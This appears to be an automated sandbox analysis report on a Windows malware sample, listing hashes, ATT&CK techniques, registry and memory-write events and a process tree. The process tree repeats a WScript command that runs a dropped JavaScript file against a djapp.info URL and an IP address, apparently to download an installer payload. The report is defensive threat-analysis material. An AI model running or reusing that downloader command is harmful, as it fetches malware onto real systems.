ce13c6d900e0a08e2e13e3a4deb9c96e453c87d71ddea53b00071f2d1d9e38a7

General

Target

41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe
Size

184KB
MD5

41d2b31b5f8f00018bd12c74975e1f06
SHA1

fc5127d7915e1c635c333ad315699fe7566a299b
SHA256

ce13c6d900e0a08e2e13e3a4deb9c96e453c87d71ddea53b00071f2d1d9e38a7
SHA512

28eba5f3ff42483414b067201b8e3cfbe57ff4367447d60e6314ecbba04950227c73134507b2443d4e0e66df28eb070d5b09ecf9d2108d26b2fc9b27cba26a05
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3v:/7BSH8zUB+nGESaaRvoB7FJNndn+

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	1524	WScript.exe
38	3476	WScript.exe
39	3476	WScript.exe
41	4528	WScript.exe
57	4156	WScript.exe
60	1540	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 1524	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	83
PID 644 wrote to memory of 1524	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	83
PID 644 wrote to memory of 1524	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	83
PID 644 wrote to memory of 3476	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	97
PID 644 wrote to memory of 3476	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	97
PID 644 wrote to memory of 3476	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	97
PID 644 wrote to memory of 4528	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	98
PID 644 wrote to memory of 4528	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	98
PID 644 wrote to memory of 4528	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	98
PID 644 wrote to memory of 4156	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	101
PID 644 wrote to memory of 4156	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	101
PID 644 wrote to memory of 4156	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	101
PID 644 wrote to memory of 1540	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	102
PID 644 wrote to memory of 1540	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	102
PID 644 wrote to memory of 1540	644	41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\41d2b31b5f8f00018bd12c74975e1f06_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3894.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3894.exe
  2⤵
  - Blocklisted process makes network request
  PID:1524
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3894.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3894.exe
  2⤵
  - Blocklisted process makes network request
  PID:3476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3894.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3894.exe
  2⤵
  - Blocklisted process makes network request
  PID:4528
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3894.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3894.exe
  2⤵
  - Blocklisted process makes network request
  PID:4156
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3894.js" http://www.djapp.info/?domain=mBkFqWITfj.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf3894.exe
  2⤵
  - Blocklisted process makes network request
  PID:1540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3894.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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